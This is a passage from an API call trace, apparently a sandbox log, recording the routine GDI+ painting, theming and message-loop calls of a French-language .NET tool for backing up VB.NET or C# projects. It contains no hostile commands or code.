GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0223.584] GdipCreateRegion (region=0x2be75c) returned 0x0 [0223.584] GdipGetClip (graphics=0x4ae5320, region=0x4ae5600) returned 0x0 [0223.584] GdipIsInfiniteRegion (region=0x4ae5600, graphics=0x4ae5320, result=0x2be768) returned 0x0 [0223.584] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be794) returned 0x0 [0223.584] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfdad0dbd) returned 0x0 [0223.584] GdipDeleteRegion (region=0x4ae5600) returned 0x0 [0223.585] SystemParametersInfoW (in: uiAction=0x42, uiParam=0xc, pvParam=0x2be618, fWinIni=0x0 | out: pvParam=0x2be618) returned 1 [0223.585] GdipGetDC (graphics=0x4ae5320, hdc=0x2be580) returned 0x0 [0223.585] GetCurrentObject (hdc=0x3f010733, type=0x1) returned 0x1b00017 [0223.585] GetCurrentObject (hdc=0x3f010733, type=0x2) returned 0x1900010 [0223.585] GetCurrentObject (hdc=0x3f010733, type=0x7) returned 0x210506ba [0223.585] GetCurrentObject (hdc=0x3f010733, type=0x6) returned 0x18a002e [0223.585] SaveDC (hdc=0x3f010733) returned 1 [0223.585] GetNearestColor (hdc=0x3f010733, color=0xf0f0f0) returned 0xf0f0f0 [0223.585] GetNearestColor (hdc=0x3f010733, color=0xa0a0a0) returned 0xa0a0a0 [0223.585] GetNearestColor (hdc=0x3f010733, color=0x696969) returned 0x696969 [0223.585] GetNearestColor (hdc=0x3f010733, color=0xa0a0a0) returned 0xa0a0a0 [0223.585] GetNearestColor (hdc=0x3f010733, color=0x0) returned 0x0 [0223.585] GetNearestColor (hdc=0x3f010733, color=0xffffff) returned 0xffffff [0223.585] GetNearestColor (hdc=0x3f010733, color=0xe5e5e5) returned 0xe5e5e5 [0223.585] GetNearestColor (hdc=0x3f010733, color=0xd7d7d7) returned 0xd7d7d7 [0223.585] GetNearestColor (hdc=0x3f010733, color=0x0) returned 0x0 [0223.585] RestoreDC (hdc=0x3f010733, nSavedDC=-1) returned 1 [0223.586] GdipReleaseDC (graphics=0x4ae5320, hdc=0x3f010733) returned 0x0 [0223.587] IsAppThemed () returned 0x1 [0223.587] GetThemeAppProperties () returned 0x3 [0223.587] GetThemeAppProperties () returned 0x3 [0223.587] OpenThemeData () returned 0x10004 [0223.587] IsAppThemed () returned 0x1 [0223.587] GetThemeAppProperties () returned 0x3 [0223.587] GetThemeAppProperties () returned 0x3 [0223.588] DrawTextExW (in: hdc=0xb0101e5, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be43c, format=0x102415, lpdtp=0x24f1a90 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be43c) returned 13 [0223.588] IsAppThemed () returned 0x1 [0223.588] GetThemeAppProperties () returned 0x3 [0223.588] GetThemeAppProperties () returned 0x3 [0223.589] IsAppThemed () returned 0x1 [0223.589] GetThemeAppProperties () returned 0x3 [0223.589] GetThemeAppProperties () returned 0x3 [0223.589] GetFocus () returned 0x0 [0223.731] IsAppThemed () returned 0x1 [0223.731] GetThemeAppProperties () returned 0x3 [0223.731] GetThemeAppProperties () returned 0x3 [0223.731] IsAppThemed () returned 0x1 [0223.731] GetThemeAppProperties () returned 0x3 [0223.731] GetThemeAppProperties () returned 0x3 [0223.731] IsThemePartDefined () returned 0x1 [0223.731] IsAppThemed () returned 0x1 [0223.731] GetThemeAppProperties () returned 0x3 [0223.731] GetThemeAppProperties () returned 0x3 [0223.732] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0223.732] IsAppThemed () returned 0x1 [0223.732] GetThemeAppProperties () returned 0x3 [0223.732] GetThemeAppProperties () returned 0x3 [0223.732] IsAppThemed () returned 0x1 [0223.732] GetThemeAppProperties () returned 0x3 [0223.732] GetThemeAppProperties () returned 0x3 [0223.732] IsThemePartDefined () returned 0x1 [0223.732] GdipCreateRegion (region=0x2be484) returned 0x0 [0223.732] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0223.732] GdipCreateMatrix (matrix=0x2be484) returned 0x0 [0223.732] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0223.732] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be49c) returned 0x0 [0223.732] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568c18 [0223.732] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x568c18) returned 0x0 [0223.732] LocalFree (hMem=0x568c18) returned 0x0 [0223.732] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568c18 [0223.732] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x568c18) returned 0x0 [0223.732] LocalFree (hMem=0x568c18) returned 0x0 [0223.732] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0223.732] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4c4) returned 0x0 [0223.732] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4b4) returned 0x0 [0223.732] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be4b4) returned 0x0 [0223.732] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0223.732] GdipGetDC (graphics=0x4ae5320, hdc=0x2be4cc) returned 0x0 [0223.733] GetCurrentObject (hdc=0x3f010733, type=0x1) returned 0x1b00017 [0223.733] GetCurrentObject (hdc=0x3f010733, type=0x2) returned 0x1900010 [0223.733] GetCurrentObject (hdc=0x3f010733, type=0x7) returned 0x210506ba [0223.733] GetCurrentObject (hdc=0x3f010733, type=0x6) returned 0x18a002e [0223.733] SaveDC (hdc=0x3f010733) returned 1 [0223.733] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x27040789 [0223.733] GetClipRgn (hdc=0x3f010733, hrgn=0x27040789) returned 0 [0223.733] SelectClipRgn (hdc=0x3f010733, hrgn=0x290401eb) returned 2 [0223.733] DeleteObject (ho=0x27040789) returned 1 [0223.733] DeleteObject (ho=0x290401eb) returned 1 [0223.733] OffsetViewportOrgEx (in: hdc=0x3f010733, x=0, y=0, lppt=0x24f40b8 | out: lppt=0x24f40b8) returned 1 [0223.733] DrawThemeParentBackground () returned 0x0 [0223.733] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be240 | out: lpwndpl=0x2be240) returned 1 [0223.733] GetClientRect (in: hWnd=0x40150, lpRect=0x2be1ec | out: lpRect=0x2be1ec) returned 1 [0223.733] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0223.733] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0223.733] GetSystemMetrics (nIndex=42) returned 0 [0223.733] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be07c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0223.734] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be07c) returned 0x23 [0223.734] GetClientRect (in: hWnd=0x40150, lpRect=0x2be0f4 | out: lpRect=0x2be0f4) returned 1 [0223.734] GetCurrentObject (hdc=0x3f010733, type=0x1) returned 0x1b00017 [0223.734] GetCurrentObject (hdc=0x3f010733, type=0x2) returned 0x1900010 [0223.734] GetCurrentObject (hdc=0x3f010733, type=0x7) returned 0x210506ba [0223.734] GetCurrentObject (hdc=0x3f010733, type=0x6) returned 0x18a002e [0223.734] SaveDC (hdc=0x3f010733) returned 2 [0223.734] GetNearestColor (hdc=0x3f010733, color=0xf0f0f0) returned 0xf0f0f0 [0223.734] CreateSolidBrush (color=0xf0f0f0) returned 0x201006a2 [0223.734] FillRect (hDC=0x3f010733, lprc=0x2bdf94, hbr=0x201006a2) returned 1 [0223.734] DeleteObject (ho=0x201006a2) returned 1 [0223.734] RestoreDC (hdc=0x3f010733, nSavedDC=-1) returned 1 [0223.734] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0223.734] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0223.734] GetSystemMetrics (nIndex=42) returned 0 [0223.734] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0223.734] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0223.734] GetClientRect (in: hWnd=0x40150, lpRect=0x2be094 | out: lpRect=0x2be094) returned 1 [0223.734] GetCurrentObject (hdc=0x3f010733, type=0x1) returned 0x1b00017 [0223.734] GetCurrentObject (hdc=0x3f010733, type=0x2) returned 0x1900010 [0223.734] GetCurrentObject (hdc=0x3f010733, type=0x7) returned 0x210506ba [0223.735] GetCurrentObject (hdc=0x3f010733, type=0x6) returned 0x18a002e [0223.735] SaveDC (hdc=0x3f010733) returned 2 [0223.735] GetNearestColor (hdc=0x3f010733, color=0xf0f0f0) returned 0xf0f0f0 [0223.735] CreateSolidBrush (color=0xf0f0f0) returned 0x211006a2 [0223.735] FillRect (hDC=0x3f010733, lprc=0x2bdf34, hbr=0x211006a2) returned 1 [0223.735] DeleteObject (ho=0x211006a2) returned 1 [0223.735] RestoreDC (hdc=0x3f010733, nSavedDC=-1) returned 1 [0223.735] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0223.735] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0223.735] GetSystemMetrics (nIndex=42) returned 0 [0223.735] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0223.735] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0223.735] RestoreDC (hdc=0x3f010733, nSavedDC=-1) returned 1 [0223.735] GdipReleaseDC (graphics=0x4ae5320, hdc=0x3f010733) returned 0x0 [0223.735] IsAppThemed () returned 0x1 [0223.735] GetThemeAppProperties () returned 0x3 [0223.735] GetThemeAppProperties () returned 0x3 [0223.735] IsAppThemed () returned 0x1 [0223.735] GetThemeAppProperties () returned 0x3 [0223.735] GetThemeAppProperties () returned 0x3 [0223.735] IsThemePartDefined () returned 0x1 [0223.735] GdipCreateRegion (region=0x2be428) returned 0x0 [0223.735] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0223.735] GdipCreateMatrix (matrix=0x2be428) returned 0x0 [0223.735] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0223.735] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be440) returned 0x0 [0223.735] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x568c18) returned 0x0 [0223.736] LocalFree (hMem=0x568c18) returned 0x0 [0223.736] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x568c18) returned 0x0 [0223.736] LocalFree (hMem=0x568c18) returned 0x0 [0223.736] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0223.736] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be468) returned 0x0 [0223.736] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be458) returned 0x0 [0223.736] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be458) returned 0x0 [0223.736] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0223.736] GdipGetDC (graphics=0x4ae5320, hdc=0x2be470) returned 0x0 [0223.736] GetCurrentObject (hdc=0x3f010733, type=0x1) returned 0x1b00017 [0223.736] GetCurrentObject (hdc=0x3f010733, type=0x2) returned 0x1900010 [0223.736] GetCurrentObject (hdc=0x3f010733, type=0x7) returned 0x210506ba [0223.736] GetCurrentObject (hdc=0x3f010733, type=0x6) returned 0x18a002e [0223.736] SaveDC (hdc=0x3f010733) returned 1 [0223.736] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2a0401eb [0223.736] GetClipRgn (hdc=0x3f010733, hrgn=0x2a0401eb) returned 0 [0223.736] SelectClipRgn (hdc=0x3f010733, hrgn=0x29040789) returned 2 [0223.736] DeleteObject (ho=0x2a0401eb) returned 1 [0223.736] DeleteObject (ho=0x29040789) returned 1 [0223.736] OffsetViewportOrgEx (in: hdc=0x3f010733, x=0, y=0, lppt=0x24f4af0 | out: lppt=0x24f4af0) returned 1 [0223.736] IsAppThemed () returned 0x1 [0223.736] GetThemeAppProperties () returned 0x3 [0223.736] GetThemeAppProperties () returned 0x3 [0223.737] DrawThemeBackground () returned 0x0 [0223.737] RestoreDC (hdc=0x3f010733, nSavedDC=-1) returned 1 [0223.737] GdipReleaseDC (graphics=0x4ae5320, hdc=0x3f010733) returned 0x0 [0223.737] GdipCreateRegion (region=0x2be410) returned 0x0 [0223.737] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0223.737] GdipCreateMatrix (matrix=0x2be410) returned 0x0 [0223.737] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0223.737] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be428) returned 0x0 [0223.737] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568c18 [0223.737] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x568c18) returned 0x0 [0223.737] LocalFree (hMem=0x568c18) returned 0x0 [0223.737] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568c18 [0223.737] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x568c18) returned 0x0 [0223.737] LocalFree (hMem=0x568c18) returned 0x0 [0223.737] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0223.737] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be450) returned 0x0 [0223.737] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be440) returned 0x0 [0223.737] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be440) returned 0x0 [0223.737] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0223.737] GdipGetDC (graphics=0x4ae5320, hdc=0x2be458) returned 0x0 [0223.737] GetCurrentObject (hdc=0x3f010733, type=0x1) returned 0x1b00017 [0223.737] GetCurrentObject (hdc=0x3f010733, type=0x2) returned 0x1900010 [0223.737] GetCurrentObject (hdc=0x3f010733, type=0x7) returned 0x210506ba [0223.737] GetCurrentObject (hdc=0x3f010733, type=0x6) returned 0x18a002e [0223.738] SaveDC (hdc=0x3f010733) returned 1 [0223.738] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2a040789 [0223.738] GetClipRgn (hdc=0x3f010733, hrgn=0x2a040789) returned 0 [0223.738] SelectClipRgn (hdc=0x3f010733, hrgn=0x2b0401eb) returned 2 [0223.738] DeleteObject (ho=0x2a040789) returned 1 [0223.738] DeleteObject (ho=0x2b0401eb) returned 1 [0223.738] OffsetViewportOrgEx (in: hdc=0x3f010733, x=0, y=0, lppt=0x24f4dc4 | out: lppt=0x24f4dc4) returned 1 [0223.738] IsAppThemed () returned 0x1 [0223.738] GetThemeAppProperties () returned 0x3 [0223.738] GetThemeAppProperties () returned 0x3 [0223.738] GetThemeBackgroundContentRect () returned 0x0 [0223.738] RestoreDC (hdc=0x3f010733, nSavedDC=-1) returned 1 [0223.738] GdipReleaseDC (graphics=0x4ae5320, hdc=0x3f010733) returned 0x0 [0223.739] IsAppThemed () returned 0x1 [0223.739] GetThemeAppProperties () returned 0x3 [0223.739] GetThemeAppProperties () returned 0x3 [0223.739] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be588) returned 0x0 [0223.739] GdipGetDC (graphics=0x4ae5320, hdc=0x2be574) returned 0x0 [0223.739] GetCurrentObject (hdc=0x3f010733, type=0x1) returned 0x1b00017 [0223.739] GetCurrentObject (hdc=0x3f010733, type=0x2) returned 0x1900010 [0223.739] GetCurrentObject (hdc=0x3f010733, type=0x7) returned 0x210506ba [0223.739] GetCurrentObject (hdc=0x3f010733, type=0x6) returned 0x18a002e [0223.739] SaveDC (hdc=0x3f010733) returned 1 [0223.739] GetTextAlign (hdc=0x3f010733) returned 0x0 [0223.739] GetTextColor (hdc=0x3f010733) returned 0x0 [0223.739] GetCurrentObject (hdc=0x3f010733, type=0x6) returned 0x18a002e [0223.739] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be27c | out: pv=0x2be27c) returned 92 [0223.739] SelectObject (hdc=0x3f010733, h=0x90a01e9) returned 0x18a002e [0223.740] GetBkMode (hdc=0x3f010733) returned 2 [0223.740] SetBkMode (hdc=0x3f010733, mode=1) returned 2 [0223.740] DrawTextExW (in: hdc=0x3f010733, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be350, format=0x102415, lpdtp=0x24f5158 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be350) returned 13 [0223.740] DrawTextExW (in: hdc=0x3f010733, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be508, format=0x102015, lpdtp=0x24f5158 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be508) returned 13 [0223.740] RestoreDC (hdc=0x3f010733, nSavedDC=-1) returned 1 [0223.740] GdipReleaseDC (graphics=0x4ae5320, hdc=0x3f010733) returned 0x0 [0223.740] GetFocus () returned 0x0 [0223.740] IsAppThemed () returned 0x1 [0223.740] GetThemeAppProperties () returned 0x3 [0223.740] GetThemeAppProperties () returned 0x3 [0223.740] GdipGetDC (graphics=0x4ae5320, hdc=0x2be754) returned 0x0 [0223.740] BitBlt (hdc=0x60106b7, x=0, y=0, cx=163, cy=29, hdcSrc=0x3f010733, x1=0, y1=0, rop=0xcc0020) returned 1 [0223.741] GdipReleaseDC (graphics=0x4ae5320, hdc=0x3f010733) returned 0x0 [0223.741] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0223.741] SelectObject (hdc=0x3f010733, h=0x185000f) returned 0x210506ba [0223.741] DeleteDC (hdc=0x3f010733) returned 1 [0223.741] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0223.741] EndPaint (hWnd=0x1019c, lpPaint=0x2be6f8) returned 1 [0223.741] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.741] IsWindowUnicode (hWnd=0x20152) returned 1 [0223.742] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.742] TranslateMessage (lpMsg=0x2bec18) returned 0 [0223.742] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0223.742] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.742] IsWindowUnicode (hWnd=0x1019e) returned 1 [0223.742] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.742] TranslateMessage (lpMsg=0x2bec18) returned 0 [0223.742] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0223.742] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0223.742] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0225.195] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0225.195] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0225.195] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0225.201] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8b0 | out: lpwndpl=0x2be8b0) returned 1 [0225.202] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0225.202] GetClientRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0225.202] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0225.202] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0225.202] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48edb8) returned 0x0 [0225.202] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1c, wParam=0x1, lParam=0x568) returned 0x0 [0225.202] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1c, wParam=0x1, lParam=0x568) returned 0x0 [0225.202] NtdllDefWindowProc_W () returned 0x0 [0225.202] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0225.205] GetFocus () returned 0x0 [0225.205] SetFocus (hWnd=0x1019c) returned 0x0 [0225.205] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0225.205] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0225.205] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0225.205] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0225.205] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0225.205] GetStockObject (i=5) returned 0x1900015 [0225.205] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0225.205] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0xd, wParam=0x1a, lParam=0x562740) returned 0x19 [0225.206] GetDlgItem (hDlg=0x40150, nIDDlgItem=65948) returned 0x1019c [0225.206] SendMessageW (hWnd=0x1019c, Msg=0x202b, wParam=0x1019c, lParam=0x2be2f8) returned 0x0 [0225.206] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x202b, wParam=0x1019c, lParam=0x2be2f8) returned 0x0 [0225.206] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0225.206] IsWindowUnicode (hWnd=0x1019c) returned 1 [0225.206] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0225.206] TranslateMessage (lpMsg=0x2bec18) returned 0 [0225.206] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0225.206] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0225.206] IsWindowUnicode (hWnd=0x1019c) returned 1 [0225.206] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0225.207] GetKeyState (nVirtKey=17) returned 0 [0225.207] GetKeyState (nVirtKey=18) returned -127 [0225.207] TranslateMessage (lpMsg=0x2bec18) returned 1 [0225.207] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0225.207] GetKeyState (nVirtKey=16) returned 0 [0225.207] GetKeyState (nVirtKey=17) returned 0 [0225.207] GetKeyState (nVirtKey=18) returned -127 [0225.207] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0225.207] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0225.207] IsWindowUnicode (hWnd=0x1019c) returned 1 [0225.207] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0225.207] GetKeyState (nVirtKey=16) returned 0 [0225.207] GetKeyState (nVirtKey=17) returned 0 [0225.208] GetKeyState (nVirtKey=18) returned 1 [0225.208] TranslateMessage (lpMsg=0x2bec18) returned 1 [0225.208] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0225.208] GetKeyState (nVirtKey=16) returned 0 [0225.208] GetKeyState (nVirtKey=17) returned 0 [0225.208] GetKeyState (nVirtKey=18) returned 1 [0225.208] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0225.208] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0225.208] IsWindowUnicode (hWnd=0x1019c) returned 1 [0225.208] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0225.208] TranslateMessage (lpMsg=0x2bec18) returned 0 [0225.208] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0225.208] BeginPaint (in: hWnd=0x1019c, lpPaint=0x2be6fc | out: lpPaint=0x2be6fc) returned 0x701068c [0225.208] SelectPalette (hdc=0x701068c, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0225.208] CreateCompatibleDC (hdc=0x701068c) returned 0x4f010733 [0225.208] SelectObject (hdc=0x4f010733, h=0x210506ba) returned 0x185000f [0225.208] GdipCreateFromHDC (hdc=0x4f010733, graphics=0x2be714) returned 0x0 [0225.208] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0225.208] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0225.208] GdipCreateMatrix (matrix=0x2be75c) returned 0x0 [0225.208] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0225.208] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be774) returned 0x0 [0225.208] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x568c50 [0225.208] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x568c50) returned 0x0 [0225.208] LocalFree (hMem=0x568c50) returned 0x0 [0225.208] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0225.208] GdipCreateRegion (region=0x2be75c) returned 0x0 [0225.208] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0225.209] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be768) returned 0x0 [0225.209] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be794) returned 0x0 [0225.209] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfdab0dbd) returned 0x0 [0225.209] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0225.209] GdipGetDC (graphics=0x4ae5320, hdc=0x2be580) returned 0x0 [0225.209] GetCurrentObject (hdc=0x4f010733, type=0x1) returned 0x1b00017 [0225.209] GetCurrentObject (hdc=0x4f010733, type=0x2) returned 0x1900010 [0225.209] GetCurrentObject (hdc=0x4f010733, type=0x7) returned 0x210506ba [0225.209] GetCurrentObject (hdc=0x4f010733, type=0x6) returned 0x18a002e [0225.209] SaveDC (hdc=0x4f010733) returned 1 [0225.209] GetNearestColor (hdc=0x4f010733, color=0xf0f0f0) returned 0xf0f0f0 [0225.209] GetNearestColor (hdc=0x4f010733, color=0xa0a0a0) returned 0xa0a0a0 